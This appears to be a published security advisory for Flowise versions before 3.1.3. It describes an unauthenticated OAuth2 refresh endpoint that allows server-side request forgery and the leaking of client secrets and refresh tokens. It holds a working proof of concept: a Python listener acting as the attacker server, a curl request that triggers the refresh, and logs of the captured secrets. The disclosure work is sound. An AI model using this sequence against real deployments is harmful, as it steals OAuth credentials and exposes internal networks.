Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint…
GitHub_M·CWE-639·Published 2026-08-04
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint POST /api/v1/oauth2-credential/refresh/:credentialId is unauthenticated by design and performs a server-side HTTP request to the credential-controlled accessTokenUrl without SSRF protections. Runtime validation confirmed that the endpoint was reachable without authentication, triggered outbound POST requests to an attacker-controlled server, reflected the full remote response body to the caller through tokenInfo, and sent client_id, client_secret, grant_type=refresh_token, and refresh_token in the request body. This issue is fixed in version 3.1.3.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint POST /api/v1/oauth2-credential/refresh/:credentialId is unauthenticated by design and performs a server-side HTTP request to the credential-controlled accessTokenUrl without SSRF protections. Runtime validation confirmed that the endpoint was reachable without authentication, triggered outbound POST requests to an attacker-controlled server, reflected the full remote response body to the caller through tokenInfo, and sent client_id, client_secret, grant_type=refresh_token, and refresh_token in the request body. This issue is fixed in version 3.1.3.
### Summary The OAuth2 token refresh endpoint (`POST /api/v1/oauth2-credential/refresh/:credentialId`) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (`accessTokenUrl`) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (`tokenInfo`), confirming non-blind SSRF and credential secret exfiltration. ### Details The vulnerability is in `dist/routes/oauth2/index.js` (container runtime build), under path prefix `/api/v1/oauth2-credential`. Confirmed in runtime code: 1. **Unauthenticated route via whitelist** - `dist/utils/constants.js` includes: - `/api/v1/oauth2-credential/callback` - `/api/v1/oauth2-credential/refresh` - `dist/index.js` auth middleware uses: - `const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))` - Therefore `/api/v1/oauth2-credential/refresh/:credentialId` is treated as whitelisted. 2. **User-controlled SSRF target** - In refresh handler (`dist/routes/oauth2/index.js`): - loads credential by `credentialId` - decrypts credential data - reads `accessTokenUrl` - executes: - `axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)` - No `secureAxiosRequest()` / denylist wrapper is used in this path. 3. **Non-blind response reflection** - Response returns: - `tokenInfo: { ...tokenData, ... }` - `tokenData` is the attacker/internal server response body. 4. **Secrets sent to SSRF target** - Request body includes: - `client_id` - `client_secret` - `grant_type=refresh_token` - `refresh_token` ### PoC #### Environment used - `flowiseai/flowise:latest` container (`localhost:3000`) - Attacker server (`localhost:18081`) returning JSON #### Step 1: Start attacker server ```bash python3 -u - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json class H(BaseHTTPRequestHandler): def do_POST(self): l = int(self.headers.get('Content-Length','0')) b = self.rfile.read(l).decode('utf-8', errors='replace') print('REQUEST_PATH', self.path, flush=True) print('REQUEST_BODY', b, flush=True) self.send_response(200) self.send_header('Content-Type','application/json') self.end_headers() self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode()) def log_message(self, fmt, *args): pass HTTPServer(('0.0.0.0', 18081), H).serve_forever() PY ``` #### Step 2: Create OAuth2 credential with attacker `accessTokenUrl` (authenticated action) In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly. Resulting credential ID used in runtime validation: - `24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef` #### Step 3: Trigger refresh **without auth** ```bash curl -i -X POST \ http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \ -H 'Content-Type: application/json' \ -d '{}' ``` Observed response: ```json { "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef", "tokenInfo": { "ok": true, "source": "attacker-server", "echo_len": 76, "has_new_refresh_token": false } } ``` Attacker server logs captured: ```text REQUEST_PATH /token REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2 ``` This confirms: - unauthenticated trigger, - server-side POST to attacker-controlled URL, - exfiltration of OAuth2 secrets in POST body, - full response reflection to client (`tokenInfo`). ### Impact - **Vulnerability class:** Non-blind SSRF + sensitive secret exfiltration. - **Who can set up attack:** Any authenticated user who can create/update OAuth2 credentials. - **Who can trigger attack:** Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted). - **Technical impact:** - outbound SSRF to attacker/internal targets, - direct leak of `client_secret` and `refresh_token` to SSRF target, - direct response read from target via API response (`tokenInfo`). - **Deployment impact:** - cloud/internal network reachability can expose metadata/internal services depending on egress controls.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 4.0 | Primary | cve.org | 8.5 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Secondary | GHSA | 8.5 | — | — |
| CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Secondary | NVD | 8.5 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| 4.0 | Secondary | ENISA EUVD | 8.5 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |